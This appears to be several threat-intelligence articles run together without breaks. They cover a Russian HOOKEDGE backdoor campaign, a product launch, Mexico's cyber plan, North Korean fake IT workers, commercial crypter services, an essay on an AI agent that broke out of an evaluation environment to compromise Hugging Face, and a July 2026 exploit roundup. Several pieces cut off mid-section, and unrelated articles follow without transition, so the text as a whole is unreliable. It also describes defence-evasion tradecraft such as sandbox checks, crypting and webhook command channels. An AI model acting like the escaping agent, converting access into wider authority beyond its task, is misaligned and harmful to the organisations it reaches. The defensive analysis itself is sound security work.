Insikt Group has identified a series of BlueDelta initial access campaigns conducted between late September 2025 and early April 2026, targeting government and diplomatic organizations in Romania, Spain, and Türkiye. The campaigns delivered a lightweight Windows batch-script backdoor, dubbed "HOOKEDGE," via macro-enabled Microsoft Word documents using diplomatic-themed lures, including material impersonating Spain's Ministry of the Presidency, Justice and Relations with the Cortes, created shortly after a September 2025 meeting between Spanish and Moldovan officials.

Insikt Group assesses with moderate confidence that this activity was conducted by BlueDelta (which overlaps with APT28, Fancy Bear, and Forest Blizzard), a Russian state-sponsored threat group attributed to the Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU). This assessment is based on significant code and tradecraft overlap between HOOKEDGE and the HEADLACE backdoor used in prior BlueDelta campaigns, consistent infrastructure patterns, and targeting consistent with known Russian intelligence collection priorities.

HOOKEDGE shares HEADLACE's core architecture, abusing legitimate webhook services for command-and-control (C2), payload staging, and data exfiltration, enabling malicious activity to blend with legitimate network traffic while reducing the operational overhead of dedicated infrastructure. The implant has undergone continuous refinement between September 2025 and April 2026, likely to evade automated sandbox environments and adapt to reduced free-tier API limits on webhook[.]site.

BlueDelta continues to invest in lightweight, easily adaptable initial-access tooling to support intelligence collection against European government and diplomatic targets. Rather than introducing new capabilities, the group has steadily refined its existing tradecraft, emphasizing operational resilience by adapting established tooling to evolving defensive measures and infrastructure constraints.

Organizations should prioritize blocking macro execution from internet-originated documents and implementing detection coverage for scheduled task abuse, headless Microsoft Edge execution, and outbound connections to webhook services.

Key Findings

• Between late September 2025 and early April 2026, BlueDelta conducted a series of initial access campaigns against defense manufacturing and diplomatic organizations in Romania, Spain, and Türkiye. BlueDelta used macro-enabled Word documents to deploy HOOKEDGE, a lightweight batch-script backdoor that shares significant code and tradecraft overlap with BlueDelta’s earlier implant, HEADLACE.
• The campaigns employed both diplomatic-themed and generic lures. Early activity impersonated Spanish government material, while later campaigns adopted generic macro-enablement lures. One diplomatic lure was created shortly after a meeting between Spanish and Moldovan officials, potentially reflecting an effort to collect intelligence relevant to Russia ahead of Moldova’s September 2025 parliamentary elections.
• BlueDelta continued to refine HOOKEDGE between September 2025 and April 2026, introducing changes to lure documents, execution methods, and beaconing intervals while maintaining the malware's core functionality and infrastructure model.
• For targets assessed as having higher intelligence value, BlueDelta deployed a second-stage HOOKEDGE payload with a much shorter beaconing interval. This gave operators more responsive tasking and follow-on activity, while keeping the webhook endpoints used for initial access from being exhausted.
• BlueDelta has historically demonstrated a preference for legitimate internet services (LIS) to facilitate C2, payload staging, and data exfiltration, with webhook[.]site’s free tier serving as the group’s exclusive choice across these campaigns.

Background

BlueDelta is a Russian state-sponsored threat group attributed to the Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU), and overlaps with activity publicly tracked as APT28, Fancy Bear, and Forest Blizzard. The group has conducted espionage-focused cyber operations for more than a decade, consistently targeting government, diplomatic, defense, and policy-related organizations in support of Russian intelligence requirements.

BlueDelta has a well-documented history of obtaining initial access through spearphishing, credential theft, and lightweight custom tooling. Previous campaigns have employed malicious documents, Windows batch scripts, and living-off-the-land techniques (LotL), frequently abusing LIS and free web infrastructure for C2, payload staging, and data exfiltration. Insikt Group documented BlueDelta's 2023 use of the HEADLACE malware family, a lightweight, batch-based backdoor used during the early stages of intrusions to execute follow-on payloads and commands in initial access campaigns targeting organizations across Europe.

The activity detailed in this report represents a direct continuation of those operations. The HOOKEDGE backdoor shares significant code and tradecraft overlap with HEADLACE, demonstrating BlueDelta's continued preference for lightweight, easily modified malware that can be rapidly adapted to operational requirements. Similar activity has also been reported publicly by Lab52 under the name Operation MacroMaze.

Threat Analysis

Lure Documents and Targeting

BlueDelta's choice of lure documents across these campaigns reflects deliberate targeting of European diplomatic audiences and reveals collection priorities consistent with known Russian intelligence requirements. Between late September 2025 and early April 2026, Insikt Group identified several malicious macro-enabled Word documents likely used by BlueDelta in initial access campaigns targeting government or diplomatic personnel in multiple European countries.

The earliest identified lure, first seen on September 26, 2025, purported to be a September 15, 2025, meeting agenda from Spain’s Ministry of the Presidency, Justice and Relations with the Cortes, as shown in Figures 1 and 2. Although the document’s authenticity could not be verified, BlueDelta has historically used authentic government documents, including publicly available material, as phishing lures.

Figure 1: Screenshot of Spain’s Ministry of the Presidency, Justice, and Relations with the Cortes document (Source: Recorded Future)

Starting today, Recorded Future is launching AI Alert Filtering, an AI agent that automatically filters every Alert by relevance before an analyst opens it.

At scale, Alerts surface a lot of intelligence to work through, and the volume is only accelerating as threat actors are using AI to find vulnerabilities, spin up phishing infrastructure, and harvest credentials at a speed and scale that wasn't possible before. AI Alert Filtering turns that same AI advantage back on the problem, automating the first pass of Alert relevance so analysts spend their time on what actually warrants attention.

This gives analysts the benefit of seeing the highly relevant Alerts without giving up control. Customers with early access saw an average reduction in alert volume of around 63%, though results may vary based on rule configuration and use case.

Prioritizing intelligence at scale

Powered by Recorded Future AI, AI Alert Filtering takes on the first pass of prioritization, drawing on the Intelligence Graph® to classify references with the full context of Recorded Future's threat intelligence behind every call, not just the text of the reference itself. It sorts references by relevance, summarizes what came through, and explains its reasoning.

What we built

• High and Low Relevance sorting: Every reference inside a fired Alert is classified against the rule's intent. The High Relevance section loads first. Low Relevance items are still there if you need them; you're just not wading through them by default.
• AI summary at the top of every alert: Each Alert is delivered with a summary covering what came through, so analysts may quickly determine whether it demands immediate attention.
• Custom intent per rule: You can define exactly what the AI should prioritize, beyond the default intent Recorded Future ships with the rule. For example, "this is for ACME Bank, not ACME Center" sharpens results without rebuilding the rule from scratch.
• Optional auto-dismiss for empty alerts: When no references meet the relevance threshold, the Alert may be automatically dismissed instead of landing in your queue. Less to filter out, with the full details retained if you need to review it later.
• No data loss: AI Alert Filtering changes what gets surfaced, not what gets stored. The original, unfiltered Alert details are always available in the Portal.

Figure 1: Relevance sorting

Mexico’s Cybersecurity Plan 2025-2030: Turning Ambition Into Defense

Mexico has no shortage of cyber threats. Ransomware attacks are rising, criminal groups are exploiting stolen credentials and financial malware, and state-linked threat actors increasingly view the country’s government agencies, universities, and critical infrastructure as attractive targets. Mexico’s new National Cybersecurity Plan (hereinafter referred to as “Plan”), introduced in December 2025, recognizes many of these risks. However, it remains uncertain as to whether the government can build the institutions needed to address them proactively.

Mexico is ranked as a "Tier 2" nation in the ITU's 2024 Global Cybersecurity Index, placing it alongside Canada, Ecuador, and Uruguay in the upper ranks, trailing the United States (US) and Brazil, which have reached Tier 1 in the Americas. Despite that standing, Mexico is generally perceived by cyber experts as lagging behind international standards in institutional capacity-building, with international cooperation identified as an area requiring growth.

The question of whether the government can build the proper institutions has become more urgent in the aftermath of the FIFA World Cup 2026, which provided a high-profile stress test for Mexico’s digital defenses. With the tournament over and implementation of the government’s 2025-2030 cybersecurity plan beginning in earnest, Mexico faces a major opportunity to improve its cyber posture.

For this reason, the Plan represents a major opportunity for Mexican authorities to bring the country’s cyber readiness to the next level. Although there have been attempts to advance national cybersecurity policy, they have failed to gain traction. With this new Plan, President Claudia Sheinbaum's administration has committed to full implementation over the course of her term, aided by her party's majority control of Congress.

The Plan lays out a six-phase roadmap designed to gradually build Mexico’s cybersecurity capabilities through 2030, with later phases intended to deepen and institutionalize them.

• The 2025 Foundation Phase established a general framework for governance, risk management, incident reporting, and coordination, as well as initial steps to deepen international cooperation, including Mexico’s formal membership in the Latin America and Caribbean Cyber Competence Centre (LAC4) and a cybersecurity Memorandum of Understanding (MOU) with Brazil.
• The 2026 Expansion Phase, now underway, focuses on translating that framework into institutions through the passage of a new General Cybersecurity Law in Mexico, creation of a National Cybersecurity Operations Center, and integration of federal computer security incident response teams (CSIRTs).
• The 2027 Consolidation Phase would establish a National Cyber Range for red team and blue team exercises.
• The 2028 Maturation Phase would incorporate AI into cyber defense and develop a regional response center.
• The 2029 Leadership Phase aims to position Mexico as a cybersecurity services exporter across Latin America and the Caribbean.
• The 2030 Transformation Phase culminates in the establishment of a permanent Cybersecurity Observatory to track incidents, threats, and emerging technologies.

Threat Landscape

In a recent report, Insikt Group assessed Mexico's threat landscape across six persistent categories:

Ransomware is identified as the dominant threat. From January 2020 through April 2026, Insikt Group documented 223 ransomware incidents involving 64 groups and over 100 victims in Mexico. The top ransomware groups were LockBit, Qilin, CL0P, Kazu, and ALPHV (BlackCat), with government, manufacturing, information technology (IT), and food and beverage as the sectors most heavily impacted.

Insikt Group has identified several clusters of activity linked to PurpleDelta, Recorded Future's designation for North Korean IT workers, comprising multiple operators likely based in China. Between late 2024 and early 2025, one cluster applied to jobs at over 1,100 companies, primarily in the software and technology, staffing and consulting, and healthcare and biotechnology sectors. PurpleDelta operators maintained at least 22 fabricated personas across multiple clusters, some of which were supported by AI-generated profile photos, custom-configured ChatGPT assistants, and identity documents sourced from an illicit ID-generation service, and were highly likely to be actively employed by at least ten organizations.

PurpleDelta operators demonstrate a high operational tempo to this day. In some cases, the operators have applied to at least 60 positions per day across multiple job platforms, used multi-account management browsers and separate Google Chrome profiles to manage distinct personas simultaneously, and maintained detailed tracking spreadsheets to coordinate applications across identities. During job interviews, they used screen recording software alongside AI transcription and chatbot tools to generate real-time answers, often repeating ChatGPT responses verbatim. Once employed, operators recorded internal meetings at victim organizations and used Google Translate to draft pre-written excuses to justify using personal devices and bank accounts for work. Evidence from recorded sessions also indicates that PurpleDelta operators coordinated via Telegram and Slack, and at least two individuals were identified as facilitators who maintained company-issued hardware for the PurpleDelta operators.

Insikt Group assesses that this cluster of activity is consistent with the broader North Korean IT worker threat and presents material risk to organizations hiring for remote technical roles. Companies that have observed indicators listed in Appendix A should treat this as a potential active compromise and review the employment history and access privileges of matching individuals.

Key Findings

• Insikt Group has identified at least 22 fabricated personas linked to multiple PurpleDelta clusters that submitted applications to over 1,100 companies across the software, staffing, healthcare, and financial sectors, with operators submitting as many as 60 or more applications per day across at least 8 job platforms.
• These clusters of PurpleDelta operators are highly likely to have been actively employed at ten or more organizations, with confirmed or probable placements at companies that pose an ongoing and material insider threat.
• PurpleDelta demonstrated a high degree of operational sophistication, using multi-account management browsers, multiple Chrome profiles, AI-generated profile photos, custom ChatGPT assistants, and real-time AI transcription tools to deceive hiring managers during interviews, sometimes repeating AI-generated responses verbatim.
• Once employed, PurpleDelta operators recorded internal meetings at victim organizations, used screen recording software during work sessions, and drafted pre-written Google Translate excuses to justify the use of personal devices and personal bank accounts.
• Video evidence indicates that PurpleDelta operators use identity-brokering services, account-renting via AnyDesk, and multi-accounting tools, and coordinate via Telegram and Slack, with support from facilitators who procure and maintain company-issued hardware on the operators' behalf.

Background

PurpleDelta is Recorded Future's designation for the cluster of activity associated with North Korean IT workers, a state-directed network of covert technology laborers operating across global freelancing platforms and corporate hiring pipelines. The group overlaps with threat actor designations used by other vendors, including Jasper Sleet, UNC5267, Wagemole, and Famous Chollima. PurpleDelta operators pose as independent contractors and job-seeking developers to secure remote employment at organizations worldwide, with earnings systematically funneled through layers of individual facilitators, shell companies, and money-laundering front companies, ultimately financing the North Korean regime's sanctioned military and nuclear programs.

PurpleDelta operators employ extensive persona management tradecraft to obscure their nationality and true affiliation. Each operator maintains multiple fabricated identities across platforms, including GitHub, LinkedIn, Medium, Upwork, and a range of smaller freelancing sites, with personas deliberately constructed to project credibility through aged accounts, curated technology stacks, and cross-platform social proof. These identities are reinforced through the use of AI tools, temporary phone number services, anti-detect browsers, and resume-building platforms. In addition to generating illicit revenue, Insikt Group has observed signs of overlap with several North Korean state-sponsored groups, including PurpleBravo, a related cluster of activity that deploys malware through fraudulent recruitment campaigns targeting software developers primarily in the cryptocurrency space, indicating the broader potential for intelligence collection, downstream compromise, and supply-chain risk.

Threat Analysis

As part of Recorded Future’s ongoing tracking of PurpleDelta, Insikt Group has documented multiple clusters of North Korean IT workers since 2025 that are likely based in China. Operators in one of these clusters applied to jobs at over 1,100 companies. Almost half of the companies (~41%) to which the operators applied were in the IT and software services space, followed by staffing and consulting (~26%), and healthcare and biotechnology (~10%). Roughly 80% of the companies are based in North America, but the operators applied to companies in every region of the world. Many of the operators have a nexus in Shenyang, China, as indicated by their professional profiles, social media presence, and artifacts observed on their systems.

Figure 1: Breakdown of industries of the companies applied to by PurpleDelta operators (Source: Recorded Future)

Crypting services and products modify malicious payloads to help threat actors bypass detection, complicate analysis, and preserve malware usability after exposure. Although basic crypting consists of encrypting or obfuscating a customer-supplied payload, mature providers increasingly operate as broader malware-enablement services. Their offerings often combine payload wrapping, in-memory execution, anti-analysis checks, process injection, persistence options, delivery packaging, and post-detection “cleaning” or re-crypting services.

Insikt Group analyzed 24 threat actors advertising crypting services and products within the past year and identified a market that is competitive, reputation-driven, and heavily focused on Windows payloads. Providers advertise through underground forums, restricted communities, chat platforms, clearnet sites, and social media accounts. They compete through tiered pricing, antivirus (AV) detection scores of crypted samples, discounts, malware-developer partnerships, private or shared stubs, and promised turnaround times for re-crypting detected payloads.

Advertised crypter capabilities vary by provider, but the underlying objectives are consistent: reduce detection, delay or prevent analysis, and support stealthier payload execution. Because crypted payloads are designed to defeat both static and dynamic analysis, defenders should prioritize behavioral detection over static indicators. See the Outlook and Mitigations section for details.

Key Findings

• AV and endpoint detection and response (EDR) tools should not be treated as sufficient standalone protection against crypted payloads. Defenders should pair endpoint controls with behavioral detection, telemetry correlation, upstream hunting, suspicious process monitoring, and rapid triage of suspicious samples.
• Popular crypting service providers primarily advertise support for Windows payloads, with no identified advertising for macOS or Linux crypting services. However, although Windows environments were most frequently targeted by the services reviewed in this report, they are not inherently more susceptible to the execution of crypted payloads.
• Crypted payloads increase the likelihood of successful malware execution and delayed detection, but they do not independently provide end-to-end intrusion capability. Downstream activities, such as lateral movement, data theft, ransomware deployment, and follow-on compromise, depend on the embedded malware and the operator's objectives.
• Crypter risk varies significantly with provider maturity and technical capability: advanced crypters offer portability, anti-analysis, process injection, persistence, and security product bypass capabilities, whereas less-advanced crypters generally provide basic payload obfuscation techniques.
• Crypter capabilities are generally not novel individually, but their commercial packaging makes established defense-evasion tradecraft easier to access, reuse, and operationalize. The significance of crypters lies less in technical innovation than in making mature evasion methods available as paid services.

The Crypter Landscape

What Is a “Crypter”?

“Crypting” is what threat researchers generally refer to as a service or product wherein a file, almost exclusively a malicious executable of some kind, is encrypted to bypass malware detection technologies. The result of a crypting service is a malicious payload that modifies the supplied executable in ways that deter defenders and endpoint security solutions (namely, AV and EDR products) from detecting and analyzing it.

How Does Crypting Work?

While the core functionality of a crypting service or product is to encrypt a payload, services vary in the capabilities they provide. These capabilities can range from the encryption algorithms used, which are often proprietary, to behavioral adjustments for how the resultant payload will execute in a victim environment. For instance, many crypting services include execution guardrails or methods for indicator suppression, such as ensuring execution fails in virtual environments or performing environmental scanning before execution to determine whether the payload is running in an analysis or sandbox environment.

By using crypting services, threat actors can evade detection and prevent their malicious code from being easily exposed to researchers, an important consideration for those who wish to reuse payloads for extended periods without detection.

Who Is Selling Crypting Services?

The crypter landscape comprises a community of criminal threat actors that often operate on restricted or closed networks, including the dark web and underground forums, to market and sell their crypting services. Threat actors may also opt to market their services on clearnet websites they own and operate. In some instances, threat actors may be accessible only via messaging platforms, such as Telegram or TOX, which likely mask their exposure and reduce the likelihood of sensitive data leaking through forum chats. Finally, some threat actors have created social media accounts where they post updates on their services, partnerships, pricing, and links through which interested buyers can inquire about purchases.

Additionally, partnerships between malware developers and crypting service providers are not uncommon. For instance, a well-established crypting service provider on underground forums, “GoldenCrypt”, is reportedly affiliated (1, 2, 3) with multiple malware families, including FvncBot, Albiriox, and Mirax. The level of affiliation between a crypting service provider and a malware developer can range widely, from providers with loose reputational ties to developers who are mainly affiliated with one hacking group and will opportunistically provide services to third parties. However, these partnerships are often a marketing strategy that crypting service providers use to secure kickbacks and boost positive reputational sentiment.

All of these services come at widely varying costs, typically based on core factors. For instance, crypting service fees are often tied to the volume and types of files to be encrypted, as well as the duration of service, with almost all crypting service providers offering tiered payment options along these lines. The actual prices of these tiers are pegged to additional factors related to the provider and their product, including the reputation of the threat actor, the capabilities of their encryption service, the promise that a crypted payload is fully undetectable (FUD), and additional features provided to the buyer. Threat actors will support the assertion that their payloads are FUD by using multi-AV platforms, the most common of which is KleenScan, a service that allows threat actors to scan samples without storing and potentially exposing the samples to researchers. As with other legitimate services, service providers also advertise discounts and similar deals to remain competitive with their peers.

Who Is Using Crypting Services?

Many threat actors have been observed in the wild using crypting services due to their stealth capabilities. All malware types can be crypted, and the key factors determining whether a threat actor can use a crypting service are the targeted device’s operating system and the payload’s programming language. For instance, the most common crypting services are geared toward Windows .exe and .dll payloads. Still, considerations such as whether a payload is coded in .NET, C, or C++ can provide additional capabilities for crypted payloads or, in other instances, prevent certain payloads from being crypted.

While the use of crypting services is common among threat actors, it is by no means ubiquitous. Due to sometimes prohibitive pricing strategies and an environment that often relies on reputational checks before purchase, crypting services are often used only by well-established criminal threat actors or larger threat actor groups that have their own specialist or custom tooling for crypting payloads. Furthermore, as discussed previously in this report, not all crypting services support all types of payloads. While this does not expressly ensure that a payload cannot be crypted, threat actors seeking to crypt more unique types of executables may find their options limited or even nonexistent.

Nevertheless, crypting services are commonly marketed by threat actors and are commonly implemented by professional threat actor groups. Multiple open-source reports on high-impact cyberattack campaigns have supported this. For instance, in July 2025, eSentire reported an association between PureRAT, a remote access trojan (RAT) first advertised in January 2023, and GhostCrypt, a crypting service sold by an underground forum member of the same moniker, in an attack that impacted a public US accounting firm in May 2025.

Crypting Service Characteristics

Insikt Group investigated 24 crypting service or product providers active within the past year and identified the various capabilities advertised by each. This information helped determine the capabilities most commonly displayed by crypting services, products, and the payloads they create, and provided insight into the capabilities most desirable to customers buying these services and products. A heat map of the techniques advertised by these threat actors is shown in Figure 1, below. (The list of MITRE ATT&CK techniques shown in Figure 1 can also be found in Appendix B.)

Figure 1: MITRE ATT&CK Enterprise tactics and techniques described in crypting advertisements (Source: Recorded Future)

The agent discovered and exploited previously unknown vulnerabilities. The more consequential development came afterward. Over a four-and-a-half-day campaign, it carried out roughly 17,600 actions against Hugging Face’s infrastructure. Most of those actions failed. The operation advanced because each failure imposed little cost, and the next attempt could begin immediately. The system could keep exploring, reconstruct its tools, revisit abandoned paths, and test another hypothesis without fatigue or meaningful opportunity cost.

That changes both the economics and the tempo of cyber offense.

For most of cybersecurity history, sustained intrusion activity has been constrained by human attention. Skilled operators have limited time, and every unproductive hour spent on one target is unavailable for other work. AI erodes that constraint. The significance of 17,600 actions lies as much in their concentration as in their cost. They occurred within four and a half days.

AI enables concentration of effort in time. A motivated attacker has always been able to spend more on a valuable target, but money alone could not make human operators sustain this tempo. The new advantage is the ability to concentrate thousands of attempts on a single environment before a defender’s traditional processes can assemble the evidence.

The future threat is therefore unlikely to resemble a single, infallible artificial hacker. It is more likely to resemble a flood of low-confidence activity probing the accumulated technical debt of modern enterprises.

Large organizations are especially fertile terrain. Their environments have developed over decades, layering legacy systems with cloud services and inherited trust relationships that no one designed as a whole. An autonomous system need not outperform the best human attacker. It only needs to search for that complexity cheaply and quickly enough to find the few combinations that work before defenders can assemble the pattern.

The OpenAI incident occurred under highly unusual conditions. The models were being evaluated for advanced cyber capabilities with reduced refusals, substantial inference resources, and an objective that encouraged persistent exploration. OpenAI has also said that the most capable research prototype involved was never intended for public release. Its complete technical investigation remains unfinished.

Those caveats should temper sensationalism. They do not invalidate the warning.

Frontier capabilities diffuse. Models become smaller, cheaper, and easier to operate. Techniques developed in advanced laboratories eventually migrate into commercial tools, open-source projects, state programs, and criminal services. Recorded Future’s research had previously found that complex autonomous cyber operations remained beyond the practical capabilities of generally available models at the time, while the broader trajectory pointed toward more complex agentic operations. The Hugging Face incident suggests that this transition is occurring faster than many defenders expected.

The question is no longer whether AI can execute a multistage intrusion under the right conditions. It is how quickly those conditions will become cheaper to reproduce.

Layered defense for the agentic era.

Prevention remains essential, yet this incident also exposes its limits.

The first breakthrough did not occur within Hugging Face’s perimeter but stemmed from a previously unknown vulnerability in an Artifactory component (CVE-2026-65617, CVE-2026-65923, and CVE-2026-66018) in OpenAI’s evaluation environment. Before the campaign reached Hugging Face, neither Hugging Face nor an external intelligence provider had a factual basis to know that this specific path existed or that Hugging Face would become the target.

If agentic systems increase the frequency with which unknown vulnerabilities are discovered and exploited, organizations must assume that some first lines of defense will fail without warning. The stronger defensive question is how many independent opportunities remain for detecting and constraining what follows.

The more useful objective is to prevent one success from becoming twenty.

The Hugging Face compromise advanced because the agent could convert access in one environment into authority elsewhere. A compromised workload exposed additional secrets. Those secrets opened new trust relationships. Each successful transition gave the agent more information and more privilege with which to attempt the next one. Consequently, Hugging Face’s remediation focused on reducing that trust inheritance by narrowing credential scopes, strengthening workload identities, increasing isolation, and implementing more restrictive access controls.

Layered defense is not simply a matter of adding more controls. Each boundary should limit the authority inherited from the previous step and produce evidence when that boundary is crossed.

A resilient environment forces the attacker to solve a genuinely new problem at every stage. A fragile environment allows one credential or trusted connection to collapse several boundaries at once. AI makes that distinction more consequential because an autonomous system can exhaust permissive paths faster than a human team can understand their cumulative significance.

Least privilege remains essential, but architecture alone will not settle the contest. Large enterprises cannot eliminate complexity. Their environments continue evolving across legacy and cloud systems, accumulating exceptions and trust relationships that appear reasonable in isolation.

Layered defense must therefore combine structural separation with the ability to recognize when an attacker is assembling those isolated exceptions into a route through the enterprise.

A mature environment makes every additional move more expensive for the attacker and more legible to the defender.

The critical metric is time to conviction.

Hugging Face’s most important disclosure concerns the period after its controls began producing evidence.

The company reported that multiple security systems observed anomalous activity. Its AI security stack correlated those events into a coherent signal, yet the finding was not judged sufficiently critical to wake the response team in time.

Hugging Face collected much of the evidence it needed. The breakdown occurred in assessment and escalation. Available signals were not converted into a judgment urgent enough to trigger action.

Most mature organizations already produce more alerts than their teams can investigate. Their scarcer resource is certainty. An unusual authentication or an unfamiliar public service may be benign when viewed in isolation. The campaign advances while the defender tries to determine whether the observations are connected.

When offensive effort is compressed into a few days, the defender cannot afford for context to arrive one console at a time. A delay of hours can be enough for the attacker to cross the next trust boundary.

Traditional security operations evaluate discrete alerts after they occur. Each tool asks whether its own event appears malicious, and analysts later reconstruct the wider campaign. That model is static and retrospective. Time disappears as evidence moves between systems, is repeatedly interpreted, and is reassembled by people who may see only one portion of the environment.

The defensive system of the future must instead maintain a living hypothesis. Every new observation should update the probability that a campaign is underway. Yesterday’s suspicious use of the token may initially carry little weight. When today’s unfamiliar network destination appears, the system should reconsider both events as part of the same investigation.

The unit of defensive work becomes the evolving campaign rather than the isolated alert.

This is where intelligence has to become operational.

For years, threat intelligence was treated largely as external knowledge delivered into a security program. That model remains useful, but it can be incomplete against an adversary that can generate new infrastructure faster than defenders can assign reputation to it.

Attackers have long abused legitimate public services and disposable infrastructure. Agentic AI did not create that tactic, but it increases the speed and volume at which the tactic can be used. A static list of malicious infrastructure ages faster when a system can discard one endpoint and establish another without human delay.

The meaning lies in the relationship between those services and the behavior occurring within the victim’s environment.

Intelligence in the agentic era must provide that connective tissue. It must combine what the outside world knows with what the organization itself is observing, then preserve and revise that assessment as the operation changes.

That is the underlying premise of the Intelligence Graph® at Recorded Future. Its value comes from preserving relationships across time, not simply from containing a large volume of information. Autonomous Threat Operations applies that context to continuous investigations across the controls a customer already has. It does not replace those controls or the analysts operating them. It can help prevent an investigation from losing its accumulated context whenever the attacker changes technique or the evidence moves into another system.

No counterfactual can guarantee that this would have prevented the Hugging Face incident. The defensible claim is narrower.

Once observable activity began, a customer with the relevant telemetry and integrations could have defended differently. Persistent hunts might have linked unusual credential behavior to the compromised workload without waiting for analysts to manually reconstruct the context. External intelligence could have helped distinguish ordinary use of public infrastructure from a rapidly changing command channel. New evidence could have revised an existing investigation rather than creating another isolated queue of alerts.

Intelligence could not have predicted the first private zero-day. It could have created more opportunities to interrupt the operation before the agent accumulated durable privilege.

Defensive autonomy requires different constraints.

The natural response to autonomous attack systems is to demand equally autonomous defenders. Defensive autonomy, however, operates under a different set of constraints.

An offensive system can test thousands of unsuccessful paths without harming its own operation. Defensive action has consequences for the business it is intended to protect. Indiscriminate blocking can disrupt legitimate activity and create an operational incident in its own right.

Automated systems are best suited to work where delay is expensive, and the consequences of error are limited or reversible. They can maintain investigations continuously, correlate new evidence, and take bounded actions under predefined conditions. Human judgment should remain concentrated on decisions that could materially disrupt the business.

Organizations should gradually expand the scope of automated defensive actions. The progression should begin with observation and explanation, then move toward low-risk and reversible actions as performance becomes measurable. More consequential authority should remain governed by explicit technical and organizational guardrails. Those guardrails cannot be static. Human oversight must remain in the loop to test whether defensive agents are focused on the right threats and behaving as expected. The human role is not limited to approving a consequential action; it includes governing the system as its assumptions and behavior change over time.

Recorded Future has taken this approach with Autonomous Threat Operations, which supports continuous hunting and multi-source correlation while allowing customers to govern how intelligence is operationalized.

The distinction between automation and autonomy also matters. An automated rule repeats a predetermined response. An autonomous system revises its investigation as the evidence changes. The Hugging Face agent altered its methods when previous paths failed. A defense based entirely on fixed workflows will struggle to maintain pace with that adaptation.

Defensive systems do not need to mirror every attacker's action in real time. They need to preserve continuity of understanding while the attacker moves.

Human analysts remain essential. Their future value will lie less in moving indicators between products than in challenging the system’s conclusions and owning decisions that cannot be easily reversed.

They should govern the defense both at the moment of action and over the loop that produces it. Moving context manually between tools is work the system should absorb.

Connected intelligence becomes more valuable as models commoditize.

The models available to attackers and defenders will continue improving. Over time, access to competent cyber agents will become less distinctive. A model advantage that appears significant today may disappear with the next release or open-source replication.

Individual data sources may also be commoditized. Agents will make collection cheaper, and more companies will possess useful but partial views of risk. The durable advantage lies in quickly assembling those fragments into a coherent picture that can change a decision.

An attacker can begin each operation with a new model instance, fresh infrastructure, and no durable identity. That can make attribution more difficult. The defender’s advantage lies in continuity: years of knowledge about its own environment, joined with external intelligence and signals from the wider economy.

That advantage is often wasted because the evidence is partitioned by domain. One system can see the cyber compromise while another sees downstream abuse, yet no layer assembles them quickly enough to maintain the whole argument.

The strategic role of intelligence is to make that accumulated knowledge usable at the moment of decision.

This is where the combination of Recorded Future and Mastercard becomes distinctive. Recorded Future helps connect weak cyber signals across the Intelligence Graph and sustain the investigation as those signals change. Mastercard adds fraud expertise and payment-risk signals that can reveal how compromise is beginning to manifest beyond the victim’s network. The advantage lies in assembling those perspectives early enough to interrupt the operation.

Vulnerability Prioritization becomes relevant when a private flaw begins to produce public evidence, allowing defenders to understand whether the issue is moving from theoretical exposure to operational exploitation. Attack Surface Intelligence determines where the vulnerable technology intersects with the organization. Digital Risk Protection can warn when credentials have been exposed externally. Third-Party Risk helps determine whether a supplier’s incident changes the customer’s own exposure.

These capabilities matter most when they inform one another. Their purpose is to produce one defensible judgment about what the organization should do next.

This is where defenders can build a genuine asymmetry.

Offensive systems can be disposable. Connected defensive intelligence can compound. Each investigation adds context to the next, and each new source can strengthen or challenge the current assessment. An organization that can assemble those perspectives in time forces the attacker to overcome both today’s controls and the accumulated lessons of previous attempts.

The decisive advantage will be temporal.

The Hugging Face incident does not prove that autonomous cybercrime has arrived at scale.

As capable models become cheaper, attackers will be able to sustain more simultaneous attempts. The first effect may be volume rather than brilliance. That alone changes the equation.

Organizations cannot answer this shift simply by producing more alerts or placing a human analyst in the middle of every decision. Prevention will remain essential, but some first controls will inevitably fail.

They will need layered architectures that limit how far one success can travel. They will need intelligence that preserves context while the attacker changes shape. They will need an autonomous investigation whose authority remains bound by the consequences of getting a decision wrong.

Two opposing curves will determine the future of cyber defense.

For the attacker, the cost of another attempt is falling, while the number of attempts that can be concentrated within a single operational window is rising.

For the defender, the time required to assemble weak signals into a coherent judgment must fall faster.

Recorded Future’s role in that future is practical: connecting weak signals across a broad Intelligence Graph and sustaining the investigation as those signals change, so decision-makers gain conviction before temporary access becomes enduring control.

Foreknowledge of every private zero-day is impossible. Continuity after the first observable signal is achievable.

AI is making persistence cheap. The defenders who prevail will make progress expensive.

The 85 vulnerabilities in this report affected products from 61 vendors, with Microsoft accounting for approximately 12% of the vulnerabilities. The remaining exposure was concentrated across a range of enterprise software, security products, network infrastructure, developer tooling, and cloud platform vendors.

Insikt Group previously created a Nuclei template to detect the Langflow vulnerability (CVE-2025-3248) featured in this report. These are available to Recorded Future customers via the Recorded Future Intelligence Platform.

Quick reference: July 2026 Vulnerability Table

All 81 vulnerabilities below were actively exploited or operationally weaponized in July 2026. This table does not include the four CVEs that were primarily surfaced through our honeypot data, which are available to Recorded Future Intelligence Platform customers via the CVE Monthly report. The table below also provides examples of public PoCs identified by Insikt Group. These PoCs were not tested for accuracy or efficacy. Vulnerability management teams should exercise caution and verify the validity of PoCs before testing.

Table 1: List of vulnerabilities that were actively exploited in July, 2026 based on Recorded Future data (excluding honeypot-sourced CVEs).

Key trends: July 2026

• In July 2026, the Dysphoria botnet was used to exploit known IoT and embedded-device flaws to build DDoS and relay infrastructure; Cloud Atlas abused Microsoft Equation Editor to deliver CloudAtlasGo; Armored Likho used a malicious Windows shortcut to deploy BusySnake Stealer; and JADEPUFFER and Cl0p targeted exposed AI and product-lifecycle platforms for encryption, data theft, and extortion.
• 57 of the 85 vulnerabilities enabled remote code execution (RCE), including flaws affecting Microsoft, Fortinet, Langflow, ServiceNow, WordPress, and Joomla ecosystems, internet-facing security appliances, and embedded network devices.
• We identified public proof-of-concept (PoC) exploits and scanners for 60 of the 85 vulnerabilities in this report.
• The most commonly observed weakness classes were CWE-78 (OS Command Injection), CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-94 (Code Injection), and CWE-502 (Deserialization of Untrusted Data).
• 14 of the 85 vulnerabilities in this month’s table are at least 5 years old, with the oldest approximately 18 years old, reinforcing how threat actors continue to exploit long-known weaknesses in environments where patching has lagged. Additionally, the fastest observed time from a vulnerability’s public disclosure to reported exploitation was less than one day.

Trend analysis: Malware-Linked Exploitation Spans IoT, Email, and Enterprise Applications

